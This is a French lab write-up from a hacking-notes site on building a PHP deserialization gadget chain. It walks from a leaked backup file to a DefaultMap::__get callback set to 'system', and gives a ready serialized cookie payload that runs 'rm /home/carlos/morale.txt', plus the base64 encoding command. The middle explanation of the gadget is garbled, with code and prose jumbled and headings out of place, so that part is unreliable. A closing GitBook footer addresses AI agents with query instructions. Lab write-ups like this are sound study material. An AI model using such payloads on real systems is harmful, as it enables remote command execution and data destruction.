> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/deserialization/custom-string-for-php-deserialization-gadget-chain.md).

# Chaîne personnalisée pour chaîne de gadgets de désérialisation PHP

### Développement d’une chaîne de gadgets personnalisée pour la désérialisation PHP

L’application stocke la session dans un cookie sérialisé **cookie + encodé en Base64**. Lors de la désérialisation, certaines **méthodes magiques** s’exécutent automatiquement (notamment `__wakeup()`), ouvrant la voie à une chaîne de gadgets menant à l’exécution de commandes.

```
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJyOXphcmJxN3ZncmxrdTY1dTdyb3dzeW9wODN4aWtoYyI7fQ%3d%3d
```

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"r9zarbq7vgrlku65u7rowsyop83xikhc";}
```

{% endcode %}

Le commentaire suivant est fourni :

```html
    <!-- TODO: Refactoriser une fois /cgi-bin/libs/CustomTemplate.php mis à jour -->
```

<figure><img src="/files/4f7fb530a0c048fef6d03ab23892bebde691a6a8" alt=""><figcaption></figcaption></figure>

Fichier lisible avec /\~

```
/cgi-bin/libs/CustomTemplate.php~
```

#### 1) Analyse du code (`CustomTemplate.php~` Fichier de sauvegarde)

```php
<?php

class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // Carlos a trouvé ça cool d’avoir une fonction appelée à deux endroits... Quel génie
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos, à quoi pensais-tu avec ces descriptions ? Merci de refactoriser !
        $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
        $this->TEXT_DESC = 'This product is cool in text';
    }
}

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

?>
```

#### Point d’entrée automatique : `CustomTemplate::__wakeup()`

* Lors de `unserialize()`, PHP appelle automatiquement `__wakeup()`.
* Ici, `__wakeup()` appelle `build_product()`.

#### Propagation vers `Product`

`build_product()` fait :

* `new Product($this->default_desc_type, $this->desc)`

Et dans `Product::__construct()`:

* `$this->desc = $desc->$default_desc_type;`

Donc **le code tente d’accéder à une propriété dynamique** sur l’objet `$desc` avec `$default_desc_type` comme valeur contrôlable.

#### Gadget décisif : `DefaultMap::__get($name)`

Si `$desc` est une `objet DefaultMap :` il n’a aucune vraie propriété appelée

* HTML\_DESC `TEXT_DESC` / `/ ou toute autre chaîne imposée,` donc PHP déclenche
* \_\_get($name) `__get()`,
* `effectue :` call\_user\_func($this->callback, $name) `callback = "system"`.

Si `est défini, le résultat est` system($name) `2) Objectif de la chaîne`.

#### Exécuter :

system("rm /home/carlos/morale.txt")

* `3) Construction de la chaîne (logique)`

#### Construire un objet :

Construire un objet :

* `CustomTemplate->default_desc_type` = **"rm /home/carlos/morale.txt"**/ (ce sera le nom de la propriété de `objet DefaultMap :`, donc l’argument passé à `system`)
* `CustomTemplate->desc` = **objet DefaultMap**
* `DefaultMap->callback` = **"system"**

Dérivé de la désérialisation :

1. `unserialize()` → appelle `CustomTemplate::__wakeup()`
2. `__wakeup()` → `build_product()` → `Product`
3. `Product::__construct()` fait `$desc->$default_desc_type`
4. `$desc` est `objet DefaultMap :` et la propriété n’existe pas → `DefaultMap::__get($name)`
5. `effectue :` → `call_user_func("system", $name)` → exécute la commande

#### 4) Charge utile PHP sérialisée (attention aux longueurs)

Charge utile sérialisée :

```json
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}
```

#### Encodage Base64 pour le cookie

Commande :

```bash
echo 'O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}' | base64 -w 0 ; echo
```

<figure><img src="/files/d0e5e5ceb729af659f60c8f924288fea5c82da3b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/deserialization/custom-string-for-php-deserialization-gadget-chain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
